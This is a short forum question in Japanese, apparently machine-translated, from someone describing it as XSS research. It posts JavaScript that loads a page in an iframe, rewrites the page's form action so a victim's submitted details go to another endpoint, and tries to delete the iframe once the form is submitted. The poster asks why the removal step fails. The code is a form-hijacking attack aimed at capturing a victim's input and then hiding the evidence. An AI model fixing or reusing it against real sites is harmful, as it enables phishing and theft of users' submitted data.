私が行っているXSS調査の一環として、変更されたフォームアクションでiframeを生成し、被害者が詳細を送信した後にiframeを閉じようとしています。これまでのところ、以下のコードがあります。
<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">
そのコードはまだフォームの詳細を php ページに投稿します。ただし、後で iframe を閉じることができません。iframe の削除コードが機能することはわかっています。つまり、スクリプトのロジック フローに関係しているか、setAttribute 行が正常に機能していません。誰かが私が間違っている場所に光を当てることができますか? ありがとう!